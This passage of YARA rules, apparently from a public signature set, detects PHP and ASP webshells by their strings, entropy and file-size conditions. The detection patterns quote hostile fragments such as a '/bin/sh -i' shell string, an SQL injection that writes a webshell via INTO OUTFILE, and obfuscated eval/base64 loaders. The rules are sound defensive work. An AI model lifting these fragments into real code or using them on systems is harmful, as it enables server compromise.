		not ( uint16( 0 ) == 0x5a4d or uint32be( 0 ) == 0x3c3f786d or uint32be( 0 ) == 0x3c3f584d or $dex at 0 or $pack at 0 or uint16( 0 ) == 0x4b50 or 1 of ( $fp* ) ) and ( any of ( $new_php* ) or $php_short at 0 ) and ( any of ( $dynamic* ) ) and ( $gif at 0 or ( ( filesize < 1KB and ( 1 of ( $gen_much_sus* ) ) ) or ( filesize < 2KB and ( ( #weevely1 + #weevely2 + #weevely3 ) > 2 and #weevely4 > 1 ) ) or ( filesize < 4000 and ( 1 of ( $gen_much_sus* ) or 2 of ( $gen_bit_sus* ) ) ) or ( filesize < 20KB and ( 2 of ( $gen_much_sus* ) or 4 of ( $gen_bit_sus* ) ) ) or ( filesize < 50KB and ( 3 of ( $gen_much_sus* ) or 5 of ( $gen_bit_sus* ) ) ) or ( filesize < 100KB and ( 3 of ( $gen_much_sus* ) or 6 of ( $gen_bit_sus* ) ) ) or ( filesize < 160KB and ( 3 of ( $gen_much_sus* ) or 7 of ( $gen_bit_sus* ) or ( math.deviation ( 500 , filesize - 500 , 89.0 ) > 70 ) ) ) or ( filesize < 500KB and ( 4 of ( $gen_much_sus* ) or 8 of ( $gen_bit_sus* ) or #gen_much_sus104 > 4 ) ) ) or ( filesize > 2KB and filesize < 1MB and ( ( math.entropy ( 500 , filesize - 500 ) >= 5.7 and math.mean ( 500 , filesize - 500 ) > 80 and math.deviation ( 500 , filesize - 500 , 89.0 ) < 23 ) or ( math.entropy ( 500 , filesize - 500 ) >= 7.7 and math.mean ( 500 , filesize - 500 ) > 120 and math.mean ( 500 , filesize - 500 ) < 136 and math.deviation ( 500 , filesize - 500 , 89.0 ) > 65 ) ) ) )
}

import "math"

rule WEBSHELL_PHP_Encoded_Big
{
	meta:
		description = "PHP webshell using some kind of eval with encoded blob to decode"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/02/07"
		modified = "2023-07-05"
		score = 50
		hash = "1d4b374d284c12db881ba42ee63ebce2759e0b14"
		hash = "fc0086caee0a2cd20609a05a6253e23b5e3245b8"
		hash = "b15b073801067429a93e116af1147a21b928b215"
		hash = "74c92f29cf15de34b8866db4b40748243fb938b4"
		hash = "042245ee0c54996608ff8f442c8bafb8"
		id = "c3bb7b8b-c554-5802-8955-c83722498f8b"

	strings:
		$new_php1 = /<\?=[\w\s@$]/ wide ascii
		$new_php2 = "<?php" nocase wide ascii
		$new_php3 = "<script language=\"php" nocase wide ascii
		$php_short = "<?"
		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
		// $cpayload10 = /\bpreg_replace[\n\t ]{0,500}(\(.{1,|\/\*)100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii

	condition:
		filesize < 1000KB and ( any of ( $new_php* ) or $php_short at 0 ) and ( any of ( $cpayload* ) or all of ( $m_cpayload_preg_filter* ) ) and ( filesize > 2KB and ( math.entropy ( 500 , filesize - 500 ) >= 5.7 and math.mean ( 500 , filesize - 500 ) > 80 and math.deviation ( 500 , filesize - 500 , 89.0 ) < 24 ) or ( math.entropy ( 500 , filesize - 500 ) >= 7.7 and math.mean ( 500 , filesize - 500 ) > 120 and math.mean ( 500 , filesize - 500 ) < 136 and math.deviation ( 500 , filesize - 500 , 89.0 ) > 65 ) )
}

rule WEBSHELL_PHP_Generic_Backticks
{
	meta:
		description = "Generic PHP webshell which uses backticks directly on user input"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-04-05"
		hash = "339f32c883f6175233f0d1a30510caa52fdcaa37"
		hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
		hash = "af987b0eade03672c30c095cee0c7c00b663e4b3c6782615fb7e430e4a7d1d75"
		hash = "67339f9e70a17af16cf51686918cbe1c0604e129950129f67fe445eaff4b4b82"
		hash = "144e242a9b219c5570973ca26d03e82e9fbe7ba2773305d1713288ae3540b4ad"
		hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
		id = "b2f1d8d0-8668-5641-8ce9-c8dd71f51f58"

	strings:
		$backtick = /`\s*{?\$(_POST\[|_GET\[|_REQUEST\[|_SERVER\['HTTP_)/ wide ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		(( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and $backtick and filesize < 200
}

rule WEBSHELL_PHP_Generic_Backticks_OBFUSC
{
	meta:
		description = "Generic PHP webshell which uses backticks directly on user input"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-04-05"
		hash = "23dc299f941d98c72bd48659cdb4673f5ba93697"
		hash = "e3f393a1530a2824125ecdd6ac79d80cfb18fffb89f470d687323fb5dff0eec1"
		hash = "1e75914336b1013cc30b24d76569542447833416516af0d237c599f95b593f9b"
		hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
		id = "5ecb329f-0755-536d-8bfa-e36158474a0b"

	strings:
		$s1 = /echo[\t ]{0,500}\(?`\$/ wide ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		filesize < 500 and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and $s1
}

rule WEBSHELL_PHP_By_String_Known_Webshell
{
	meta:
		description = "Known PHP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021-01-09"
		modified = "2023-04-05"
		score = 70
		hash = "d889da22893536d5965541c30896f4ed4fdf461d"
		hash = "10f4988a191774a2c6b85604344535ee610b844c1708602a355cf7e9c12c3605"
		hash = "7b6471774d14510cf6fa312a496eed72b614f6fc"
		hash = "decda94d40c3fd13dab21e197c8d05f48020fa498f4d0af1f60e29616009e9bf"
		hash = "ef178d332a4780e8b6db0e772aded71ac1a6ed09b923cc359ba3c4efdd818acc"
		hash = "a7a937c766029456050b22fa4218b1f2b45eef0db59b414f79d10791feca2c0b"
		hash = "e7edd380a1a2828929fbde8e7833d6e3385f7652ea6b352d26b86a1e39130ee8"
		hash = "0038946739956c80d75fa9eeb1b5c123b064bbb9381d164d812d72c7c5d13cac"
		hash = "3a7309bad8a5364958081042b5602d82554b97eca04ee8fdd8b671b5d1ddb65d"
		hash = "a78324b9dc0b0676431af40e11bd4e26721a960c55e272d718932bdbb755a098"
		hash = "a27f8cd10cedd20bff51e9a8e19e69361cc8a6a1a700cc64140e66d160be1781"
		hash = "9bbd3462993988f9865262653b35b4151386ed2373592a1e2f8cf0f0271cdb00"
		hash = "459ed1d6f87530910361b1e6065c05ef0b337d128f446253b4e29ae8cc1a3915"
		hash = "12b34d2562518d339ed405fb2f182f95dce36d08fefb5fb67cc9386565f592d1"
		hash = "96d8ca3d269e98a330bdb7583cccdc85eab3682f9b64f98e4f42e55103a71636"
		hash = "312ee17ec9bed4278579443b805c0eb75283f54483d12f9add7d7d9e5f9f6105"
		hash = "15c4e5225ff7811e43506f0e123daee869a8292fc8a38030d165cc3f6a488c95"
		hash = "0c845a031e06925c22667e101a858131bbeb681d78b5dbf446fdd5bca344d765"
		hash = "d52128bcfff5e9a121eab3d76382420c3eebbdb33cd0879fbef7c3426e819695"
		id = "05ac0e0a-3a19-5c60-b89a-4a300d8c22e7"

	strings:
		$pbs1 = "b374k shell" wide ascii
		$pbs2 = "b374k/b374k" wide ascii
		$pbs3 = "\"b374k" wide ascii
		$pbs4 = "$b374k(\"" wide ascii
		$pbs5 = "b374k " wide ascii
		$pbs6 = "0de664ecd2be02cdd54234a0d1229b43" wide ascii
		$pbs7 = "pwnshell" wide ascii
		$pbs8 = "reGeorg" fullword wide ascii
		$pbs9 = "Georg says, 'All seems fine" fullword wide ascii
		$pbs10 = "My PHP Shell - A very simple web shell" wide ascii
		$pbs11 = "<title>My PHP Shell <?echo VERSION" wide ascii
		$pbs12 = "F4ckTeam" fullword wide ascii
		$pbs15 = "MulCiShell" fullword wide ascii
		$pbs30 = "bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww" wide ascii
		$pbs35 = /@\$_GET\s?\[\d\]\)\.@\$_\(\$_GET\s?\[\d\]\)/ wide ascii
		$pbs36 = /@\$_GET\s?\[\d\]\)\.@\$_\(\$_POST\s?\[\d\]\)/ wide ascii
		$pbs37 = /@\$_POST\s?\[\d\]\)\.@\$_\(\$_GET\s?\[\d\]\)/ wide ascii
		$pbs38 = /@\$_POST\[\d\]\)\.@\$_\(\$_POST\[\d\]\)/ wide ascii
		$pbs39 = /@\$_REQUEST\[\d\]\)\.@\$_\(\$_REQUEST\[\d\]\)/ wide ascii
		$pbs42 = "array(\"find config.inc.php files\", \"find / -type f -name config.inc.php\")" wide ascii
		$pbs43 = "$_SERVER[\"\\x48\\x54\\x54\\x50" wide ascii
		$pbs52 = "preg_replace(\"/[checksql]/e\""
		$pbs53 = "='http://www.zjjv.com'"
		$pbs54 = "=\"http://www.zjjv.com\""
		$pbs60 = /setting\["AccountType"\]\s?=\s?3/
		$pbs61 = "~+d()\"^\"!{+{}"
		$pbs62 = "use function \\eval as "
		$pbs63 = "use function \\assert as "
		$pbs64 = "eval(`/*" wide ascii
		$pbs65 = "/* Reverse engineering of this file is strictly prohibited. File protected by copyright law and provided under license. */" wide ascii
		$pbs66 = "Tas9er" fullword wide ascii
		$pbs67 = "\"TSOP_\";" fullword wide ascii
		$pbs68 = "str_rot13('nffreg')" wide ascii
		$pbs69 = "<?=`{$'" wide ascii
		$pbs70 = "{'_'.$_}[\"_\"](${'_'.$_}[\"_" wide ascii
		$pbs71 = "\"e45e329feb5d925b\"" wide ascii
		$pbs72 = "| PHP FILE MANAGER" wide ascii
		$pbs73 = "\neval(htmlspecialchars_decode(gzinflate(base64_decode($" wide ascii
		$pbs74 = "/*\n\nShellindir.org\n\n*/" wide ascii
		$pbs75 = "$shell = 'uname -a; w; id; /bin/sh -i';" wide ascii
		$pbs76 = "'password' . '/' . 'id' . '/' . " wide ascii
		$pbs77 = "= create_function /*" wide ascii
		$pbs78 = "W3LL M!N! SH3LL" wide ascii
		$pbs79 = "extract($_REQUEST)&&@$" wide ascii
		$pbs80 = "\"P-h-p-S-p-y\"" wide ascii
		$pbs81 = "\\x5f\\x72\\x6f\\x74\\x31\\x33" wide ascii
		$pbs82 = "\\x62\\x61\\x73\\x65\\x36\\x34\\x5f" wide ascii
		$pbs83 = "*/base64_decode/*" wide ascii
		$pbs84 = "\n@eval/*" wide ascii
		$pbs85 = "*/eval/*" wide ascii
		$pbs86 = "*/ array /*" wide ascii
		$pbs87 = "2jtffszJe" wide ascii
		$pbs88 = "edocne_46esab" wide ascii
		$pbs89 = "eval($_HEADERS" wide ascii
		$pbs90 = ">Infinity-Sh3ll<" ascii
		$front1 = "<?php eval(" nocase wide ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii
		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
		$pack = { 50 41 43 4b 00 00 00 02 00 }

	condition:
		filesize < 1000KB and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and not ( uint16( 0 ) == 0x5a4d or $dex at 0 or $pack at 0 or uint16( 0 ) == 0x4b50 ) and ( any of ( $pbs* ) or $front1 in ( 0 .. 60 ) )
}

rule WEBSHELL_PHP_Strings_SUSP
{
	meta:
		description = "typical webshell strings, suspicious"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/01/12"
		modified = "2023-07-05"
		score = 50
		hash = "0dd568dbe946b5aa4e1d33eab1decbd71903ea04"
		hash = "dde2bdcde95730510b22ae8d52e4344997cb1e74"
		hash = "499db4d70955f7d40cf5cbaf2ecaf7a2"
		hash = "281b66f62db5caab2a6eb08929575ad95628a690"
		hash = "1ab3ae4d613b120f9681f6aa8933d66fa38e4886"
		id = "25f25df5-4398-562b-9383-e01ccb17e8de"

	strings:
		$sstring1 = "eval(\"?>\"" nocase wide ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii
		$gfp1 = "eval(\"return [$serialised_parameter"
		$gfp2 = "$this->assert(strpos($styles, $"
		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
		$gfp5 = "$_POST[partition_by]($_POST["
		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
		$gfp11 = "(eval (getenv \"EPROLOG\")))"
		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
		$inp1 = "php://input" wide ascii
		$inp2 = /_GET\s?\[/ wide ascii
		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
		$inp4 = /_POST\s?\[/ wide ascii
		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
		$inp6 = /_REQUEST\s?\[/ wide ascii
		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
		$inp15 = "_SERVER['HTTP_" wide ascii
		$inp16 = "_SERVER[\"HTTP_" wide ascii
		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
		$inp18 = "array_values($_SERVER)" wide ascii
		$inp19 = /file_get_contents\("https?:\/\// wide ascii

	condition:
		filesize < 700KB and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and not ( any of ( $gfp* ) ) and ( 1 of ( $sstring* ) and ( any of ( $inp* ) ) )
}

rule WEBSHELL_PHP_In_Htaccess
{
	meta:
		description = "Use Apache .htaccess to execute php code inside .htaccess"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-07-05"
		hash = "c026d4512a32d93899d486c6f11d1e13b058a713"
		hash = "d79e9b13a32a9e9f3fa36aa1a4baf444bfd2599a"
		hash = "e1d1091fee6026829e037b2c70c228344955c263"
		hash = "c026d4512a32d93899d486c6f11d1e13b058a713"
		hash = "8c9e65cd3ef093cd9c5b418dc5116845aa6602bc92b9b5991b27344d8b3f7ef2"
		id = "0f5edff9-22b2-50c9-ae81-72698ea8e7db"

	strings:
		$hta = "AddType application/x-httpd-php .htaccess" wide ascii

	condition:
		filesize < 100KB and $hta
}

rule WEBSHELL_PHP_Function_Via_Get
{
	meta:
		description = "Webshell which sends eval/assert via GET"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/09"
		modified = "2023-04-05"
		hash = "ce739d65c31b3c7ea94357a38f7bd0dc264da052d4fd93a1eabb257f6e3a97a6"
		hash = "d870e971511ea3e082662f8e6ec22e8a8443ca79"
		hash = "73fa97372b3bb829835270a5e20259163ecc3fdbf73ef2a99cb80709ea4572be"
		id = "5fef1063-2f9f-516e-86f6-cfd98bb05e6e"

	strings:
		$sr0 = /\$_GET\s?\[.{1,30}\]\(\$_GET\s?\[/ wide ascii
		$sr1 = /\$_POST\s?\[.{1,30}\]\(\$_GET\s?\[/ wide ascii
		$sr2 = /\$_POST\s?\[.{1,30}\]\(\$_POST\s?\[/ wide ascii
		$sr3 = /\$_GET\s?\[.{1,30}\]\(\$_POST\s?\[/ wide ascii
		$sr4 = /\$_REQUEST\s?\[.{1,30}\]\(\$_REQUEST\s?\[/ wide ascii
		$sr5 = /\$_SERVER\s?\[HTTP_.{1,30}\]\(\$_SERVER\s?\[HTTP_/ wide ascii
		$gfp1 = "eval(\"return [$serialised_parameter"
		$gfp2 = "$this->assert(strpos($styles, $"
		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
		$gfp5 = "$_POST[partition_by]($_POST["
		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
		$gfp11 = "(eval (getenv \"EPROLOG\")))"
		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"

	condition:
		filesize < 500KB and not ( any of ( $gfp* ) ) and any of ( $sr* )
}

rule WEBSHELL_PHP_Writer
{
	meta:
		description = "PHP webshell which only writes an uploaded file to disk"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/04/17"
		modified = "2023-07-05"
		score = 50
		hash = "ec83d69512aa0cc85584973f5f0850932fb1949fb5fb2b7e6e5bbfb121193637"
		hash = "407c15f94a33232c64ddf45f194917fabcd2e83cf93f38ee82f9720e2635fa64"
		hash = "988b125b6727b94ce9a27ea42edc0ce282c5dfeb"
		hash = "0ce760131787803bbef216d0ee9b5eb062633537"
		hash = "20281d16838f707c86b1ff1428a293ed6aec0e97"
		id = "05bb3e0c-69b2-5176-a3eb-e6ba2d72a205"

	strings:
		$sus3 = "'upload'" wide ascii
		$sus4 = "\"upload\"" wide ascii
		$sus5 = "\"Upload\"" wide ascii
		$sus6 = "gif89" wide ascii
		$sus16 = "Army" fullword wide ascii
		$sus17 = "error_reporting( 0 )" wide ascii
		$sus18 = "' . '" wide ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii
		$inp1 = "php://input" wide ascii
		$inp2 = /_GET\s?\[/ wide ascii
		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
		$inp4 = /_POST\s?\[/ wide ascii
		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
		$inp6 = /_REQUEST\s?\[/ wide ascii
		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
		$inp15 = "_SERVER['HTTP_" wide ascii
		$inp16 = "_SERVER[\"HTTP_" wide ascii
		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
		$inp18 = "array_values($_SERVER)" wide ascii
		$inp19 = /file_get_contents\("https?:\/\// wide ascii
		$php_multi_write1 = "fopen(" wide ascii
		$php_multi_write2 = "fwrite(" wide ascii
		$php_write1 = "move_uploaded_file" fullword wide ascii
		$php_write2 = "copy" fullword wide ascii

	condition:
		(( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and ( any of ( $inp* ) ) and ( any of ( $php_write* ) or all of ( $php_multi_write* ) ) and ( filesize < 400 or ( filesize < 4000 and 1 of ( $sus* ) ) )
}

rule WEBSHELL_ASP_Writer
{
	meta:
		description = "ASP webshell which only writes an uploaded file to disk"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/03/07"
		modified = "2023-07-05"
		score = 60
		hash = "df6eaba8d643c49c6f38016531c88332e80af33c"
		hash = "83642a926291a499916e8c915dacadd0d5a8b91f"
		hash = "5417fad68a6f7320d227f558bf64657fe3aa9153"
		hash = "97d9f6c411f54b56056a145654cd00abca2ff871"
		hash = "fc44fd7475ee6c0758ace2b17dd41ed7ea75cc73"
		id = "a1310e22-f485-5f06-8f1a-4cf9ae8413a1"

	strings:
		$sus1 = "password" fullword wide ascii
		$sus2 = "pwd" fullword wide ascii
		$sus3 = "<asp:TextBox" fullword nocase wide ascii
		$sus4 = "\"upload\"" wide ascii
		$sus5 = "\"Upload\"" wide ascii
		$sus6 = "gif89" wide ascii
		$sus7 = "\"&\"" wide ascii
		$sus8 = "authkey" fullword wide ascii
		$sus9 = "AUTHKEY" fullword wide ascii
		$sus10 = "test.asp" fullword wide ascii
		$sus11 = "cmd.asp" fullword wide ascii
		$sus12 = ".Write(Request." wide ascii
		$sus13 = "<textarea " wide ascii
		$sus14 = "\"unsafe" fullword wide ascii
		$sus15 = "'unsafe" fullword wide ascii
		$sus16 = "Army" fullword wide ascii
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$asp_input1 = "request" fullword nocase wide ascii
		$asp_input2 = "Page_Load" fullword nocase wide ascii
		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
		$asp_xml_method1 = "GET" fullword wide ascii
		$asp_xml_method2 = "POST" fullword wide ascii
		$asp_xml_method3 = "HEAD" fullword wide ascii
		$asp_form1 = "<form " wide ascii
		$asp_form2 = "<Form " wide ascii
		$asp_form3 = "<FORM " wide ascii
		$asp_asp = "<asp:" wide ascii
		$asp_text1 = ".text" wide ascii
		$asp_text2 = ".Text" wide ascii
		$asp_always_write1 = /\.write/ nocase wide ascii
		$asp_always_write2 = /\.swrite/ nocase wide ascii
		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
		$asp_cr_write1 = "CreateObject(" nocase wide ascii
		$asp_cr_write2 = "CreateObject (" nocase wide ascii
		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
		$asp_streamwriter2 = "filestream" fullword nocase wide ascii

	condition:
		(( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and ( any of ( $asp_input* ) or ( $asp_xml_http and any of ( $asp_xml_method* ) ) or ( any of ( $asp_form* ) and any of ( $asp_text* ) and $asp_asp ) ) and ( any of ( $asp_always_write* ) and ( any of ( $asp_write_way_one* ) and any of ( $asp_cr_write* ) ) or ( any of ( $asp_streamwriter* ) ) ) and ( filesize < 400 or ( filesize < 6000 and 1 of ( $sus* ) ) )
}

rule WEBSHELL_ASP_OBFUSC
{
	meta:
		description = "ASP webshell obfuscated"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/12"
		modified = "2023-07-05"
		hash = "ad597eee256de51ffb36518cd5f0f4aa0f254f27517d28fb7543ae313b15e112"
		hash = "e0d21fdc16e0010b88d0197ebf619faa4aeca65243f545c18e10859469c1805a"
		hash = "54a5620d4ea42e41beac08d8b1240b642dd6fd7c"
		hash = "fc44fd7475ee6c0758ace2b17dd41ed7ea75cc73"
		hash = "be2fedc38fc0c3d1f925310d5156ccf3d80f1432"
		hash = "3175ee00fc66921ebec2e7ece8aa3296d4275cb5"
		hash = "d6b96d844ac395358ee38d4524105d331af42ede"
		hash = "cafc4ede15270ab3f53f007c66e82627a39f4d0f"
		id = "3960b692-9f6f-52c5-b881-6f9e1b3ac555"

	strings:
